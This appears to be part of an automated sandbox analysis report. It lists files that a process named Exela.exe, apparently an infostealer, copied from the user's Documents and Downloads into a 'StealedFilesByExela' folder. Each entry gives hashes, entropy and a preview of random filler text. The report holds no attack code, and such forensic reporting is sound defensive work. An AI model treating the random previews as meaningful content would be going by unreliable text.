HDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\LIJDSFKJZG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\LIJDSFKJZG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\SNIPGPPREP.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701796197804446
Encrypted:	false
SSDEEP:	24:C1U2g6pCwYBq9+pGzEcrz023TZ9iFxwELi:2U2gCCm9drz0wTZsIEe
MD5:	C8350CE91F4E8E8B04269B5F3C6148DA
SHA1:	22D523A327EBAF8616488087E2DCE9DBD857F0CC
SHA-256:	1BE0B3682C4F3A3315465E66A2C7C357BB06225947C526B1B89A39D9D120AFBF
SHA-512:	C4891D35B6E895E4A9F4A785701EFFA4305AE88D09D309865F9312D95C296CB417916D8CBA461099E80F68C5AE5015A1172E60319256A453DE81445660F55806
Malicious:	false
Preview:	SNIPGPPREPVDSXKMBCQXEQRWSYOYKDGHPXSNVTYLWVPMUIXPKXDRFHMINIQBFZTPTVMTSZAWIXFLHCKJNAWKCQYMBHUKFDOIJBXXLUNVNMKEDOTTPPDLIAGSTXKJKMHVVGIGUNGKPTPDUEUVMGZRIBRMBHLZOZZIBTDOCDOASXCIFRVGCSENFOEARIYUEACCMVFPUDRRUHYQQFJBAWDGKHRWDHTGYUXKSSVSTFCVQOQGTKOBOMZZTKVYFLAXTKJMTUDSETBGCOOKYGPLGPNAFICZERONWJHOMIWLGEWSSANDAVRYRUWZSRNZFYKTMSQXLZZGTQKXVQLDKQIHEDADRTKYMYNBVWROSFBYUXYULCESFAKNPBXYOELAWZCZFAPVQWMMNLBQRIPMVDMMWGXGKDJNUJGGGBNSGWEDDLRHGAAWJCYOEMVEHAYXYEHSKMWJPPHERNLXAGENBCUAZODRTUDIOUWNPZSHJGYOVHWQKWRAGGUMLCITTLAJXOXDUPFFLAHWLWPRQRAXSKOBHTXQNNGYHHVLBOEFTHAXTLKUGTNIYSDATIJHBUFTSGQHRXQQGXCBWVJIULNMYSMFYMPXRZOWMHYMZOLIBIYHPQRQJTZOMJZHKRTSWQQVINGIZHWDLNCJKAMKHSMFOTUPQMESXHXMJSAXESVNVSKORQSXVCYCKNZKOFZFUKINTRLLEGXVQTQURFVKWLFRQZVQVBVOEMATWFLXFDJVWCYMPYCSJCUUGUCIPOPIVLEFNZCPNYAWTXOATSTYLECDEFJNQFYGVPQWTJBNAVWKGALRTACLENBODJOQDXMPOYCYEFXOOOOMCQXLRGDBUUVJNQAEBZDSPDLPFIEOXRWSFCHXDUSBTSLEDLCZPOHIMIMQZMHHTMDFUUMKUAMBYNWWRQKDEXPPDWGKCNTWTFNHBMNDQIMVNFYWGALYORHHPUAXLDHMTGOKMMTAOCOVLGFIHZLZFADWMNNCWOLNJDSGFCWVDBYK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\VWDFPKGDUF.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\WSHEJMDVQC.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\AQRFEVRTGL.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691266297898928
Encrypted:	false
SSDEEP:	24:VFl0HyrVqOHKWeRhsGhMtSCTPacJ7pZeZLF8M7y+b:VFl0HyrVqOqNRhHkTaW73Q58yy+b
MD5:	7D4E714F4EDA4631DCA8D420338392F1
SHA1:	536B4BCBAB5C780738EE2D562D16AB532C9D8E68
SHA-256:	841F74A72A1D21F63E4039906E93A4FD9E70EC517385DDEE855033A9A17FE94A
SHA-512:	FEB2EEC88720FF040794CD273A7B4A07DD5AC1E6CD9A9235A098F1FB3A1C50385B37E376764C927978961A0EE4AC1C591F197494D82D71B35EAA3780956CB1A3
Malicious:	false
Preview:	AQRFEVRTGLRPNVUMAMHTYETEVGDENHEHZDAQRXZQCDHHLTUZIEJRCQGGPRQWBIYWADWJEZTAELERKZUDZJHSFVIUPBTJVGKYQFWVMPTQUZUZZSOJNBOABYGRCYMPSQARVQUZQVCNVECXPCBIEBYWXWSRMTKFKBEHRJGIPFMOYSZMEELAQPGBHDTUPVXJROQBNFXLTFTPQHVAGKBRLNHZRZVUTEGANMGKVRFJJNOMKLVMQNTHIORPQCPGNIZSOYKXAQJCOPIGBQRJINVPIRVOHHCOGWQPXWQEGDKAHJASRIJBIMZDOWPSCSZZQNZFPNLCIRCXKLGBVXKUJASQXRHFULXFGHARZKMVRSMXPJPUDKEQXOSCEBAKVRLNKSSEVKXVMESKRHMKSXSUKELGCEYTRDUXROEARVKPGFZHNSDRPAQVQVSCJPHBVIRZPYJKRBBZNOUQWXJMMJNDFWGGJPGQMMWRHVVMGZTXMHGJMPQFKEKIAULKOFHNCPDGWVUWIVKGZHFAQVQOBPOUZZTMTUXLURTPHPWRVYABSKGEOJTHCTJYEQSHAVPELOSNLRXFRVWMHJRZTZLGKGNKELBIANUAYANWKNNJPQUXDOBXLYTGIGYZMXXBSVTKCOWSZHFODTFONXVLBRUGJKEZMTIRWSGAANCFOWQHTMLCODGMRHITYHVPOCCXAYGLOXHITQDUATUBKLPLHFHTHTEONDGTWZOQVYRUABLZCNSDXFSTUTQJACVNWWCLMGVDGIDXECYLUJKBUKWQQUERSQSLBAKCXGRYMXSMUPSLSRDICMSQOGBWCATEAACXPGZFMXCSVNIZUQRAQEWTFWYKNKMGGMAZDJHXXORIHLHSPMGKAWZUQOKTRGEGDEPETKDTOVQKFNIASUNQNVNPECXIFOSOXOYCRVRJAKLVRMRCMTVZUHFLJPYFXCUSTATJHRIINTHARIAPEKFSUPRLIGJHIMRLJERLFFTZAQPSMLNNQSZLYNDGBIYC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\AQRFEVRTGL.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691266297898928
Encrypted:	false
SSDEEP:	24:VFl0HyrVqOHKWeRhsGhMtSCTPacJ7pZeZLF8M7y+b:VFl0HyrVqOqNRhHkTaW73Q58yy+b
MD5:	7D4E714F4EDA4631DCA8D420338392F1
SHA1:	536B4BCBAB5C780738EE2D562D16AB532C9D8E68
SHA-256:	841F74A72A1D21F63E4039906E93A4FD9E70EC517385DDEE855033A9A17FE94A
SHA-512:	FEB2EEC88720FF040794CD273A7B4A07DD5AC1E6CD9A9235A098F1FB3A1C50385B37E376764C927978961A0EE4AC1C591F197494D82D71B35EAA3780956CB1A3
Malicious:	false
Preview:	AQRFEVRTGLRPNVUMAMHTYETEVGDENHEHZDAQRXZQCDHHLTUZIEJRCQGGPRQWBIYWADWJEZTAELERKZUDZJHSFVIUPBTJVGKYQFWVMPTQUZUZZSOJNBOABYGRCYMPSQARVQUZQVCNVECXPCBIEBYWXWSRMTKFKBEHRJGIPFMOYSZMEELAQPGBHDTUPVXJROQBNFXLTFTPQHVAGKBRLNHZRZVUTEGANMGKVRFJJNOMKLVMQNTHIORPQCPGNIZSOYKXAQJCOPIGBQRJINVPIRVOHHCOGWQPXWQEGDKAHJASRIJBIMZDOWPSCSZZQNZFPNLCIRCXKLGBVXKUJASQXRHFULXFGHARZKMVRSMXPJPUDKEQXOSCEBAKVRLNKSSEVKXVMESKRHMKSXSUKELGCEYTRDUXROEARVKPGFZHNSDRPAQVQVSCJPHBVIRZPYJKRBBZNOUQWXJMMJNDFWGGJPGQMMWRHVVMGZTXMHGJMPQFKEKIAULKOFHNCPDGWVUWIVKGZHFAQVQOBPOUZZTMTUXLURTPHPWRVYABSKGEOJTHCTJYEQSHAVPELOSNLRXFRVWMHJRZTZLGKGNKELBIANUAYANWKNNJPQUXDOBXLYTGIGYZMXXBSVTKCOWSZHFODTFONXVLBRUGJKEZMTIRWSGAANCFOWQHTMLCODGMRHITYHVPOCCXAYGLOXHITQDUATUBKLPLHFHTHTEONDGTWZOQVYRUABLZCNSDXFSTUTQJACVNWWCLMGVDGIDXECYLUJKBUKWQQUERSQSLBAKCXGRYMXSMUPSLSRDICMSQOGBWCATEAACXPGZFMXCSVNIZUQRAQEWTFWYKNKMGGMAZDJHXXORIHLHSPMGKAWZUQOKTRGEGDEPETKDTOVQKFNIASUNQNVNPECXIFOSOXOYCRVRJAKLVRMRCMTVZUHFLJPYFXCUSTATJHRIINTHARIAPEKFSUPRLIGJHIMRLJERLFFTZAQPSMLNNQSZLYNDGBIYC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\BXAJUJAOEO.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701111373123985
Encrypted:	false
SSDEEP:	24:wSplMoG/A1oXDoMwazZW6QAFWyGjkGKnEuDxOaV9YnF7U:walZG/A12L8MFYr8EuxTK9U
MD5:	CA5A3E2A0C2DDF92EABE165672425976
SHA1:	1933AC1A510945A766039E7E61D7DA4156E0F074
SHA-256:	4180C6A01C86C7D86A51B5C17957BAECF34EBB7FCB6C5968835A5DB64E3C9667
SHA-512:	64FC7B64CDAF57CF026C803A16036BDDC46CA86AC9C35A804FCE188AFA3056C324D62CCEBD45E7E607A53D11A1035CB6C38B24004D14F0DC17B11D8DFBD7DB6C
Malicious:	false
Preview:	BXAJUJAOEOZPYQVMPMMPXXMVCPSLTTLUOLYYQUQKLRMOQNFWEOCYDOLITPCVDLYSWYQACZEJIDILMNOOUVEVBOSWPXYLBOGFYWHZVFNHRJXYLODFWJLFJKMUXRMLQJAGMERGOWKSMBXUJUMRUBMROMDBISUWTFWPXBVVSTBYHRHUOKCJNGMCOLUFOVLKFFIUZHRPZUITDNNTTEJKTUSBPVEUSTDXHRMZNWZQSUEGRYELXBLVKZHEIVACMOHJWFJRPJKNIDOXZHIEUDGLSGKALGUCHSOBYGTVWDOVYUEMXJWYDCHTXKLWDJLIZFFBQOMRYKZVRXZYKIPKCJEYOVOQCGFXCUNQKHYBXFYRGYUQAUKMCSQKKDJIQWKZEWMJWHJDDENKZLPNJAJLVIEXHEGVFHRIOBAWGXOXLQJIISBHZZGJYZBYNUOKMCKTICSMRTMZVLKMZTCWKHOHWQBKEBGEASMMYEGDDSCGDTYEPANLCQSJIRCTCUHXIVGBREMBTULUXWAZISUYERUZPWQLRSPPVNCMSPDUHQTJKYNEEWYIFNUCJJSDFDNQJLWDBLURDBXKLJVMGWUBKEXPYFIJNWRSUNUJBZAWJQEZWEYFLNXWPKFJZFMVPYOJFFUYCTEUKFWSOFUOTKIGENNTAAXCAHPWQNKMKKGNWIOGZOBPOTDAQLZSIGMQTNQVGQJNNITTRMOHBPCHTGJANZTLZHNSTOQXJKIAZXWPQWIDJXZUURGYMTMZTWQNTRVEKAAWBRZQWZYVWKWEVAUTRSOXDHWSYIZYRJFVXSPNFOTDNAGHDFYSAEEFBXGQQGYMZHMQHZTDMNYXDQJKMLAXJWCBQUIKQFEPVZNRMOWEKGFDLUJLSXRKKJUIGCSCGZTXLHOWGMKDLSQHDWSPCYROUJEHKXBJSADOXSOMTTUGHDSOBTNUEDCBNWNIDSDBZKBGFCJHQNDVAAZTKEIMDCTKNOQUKPNHEQOBANQSCJQRQBRAIBBXRYTT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\DQOFHVHTMG.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
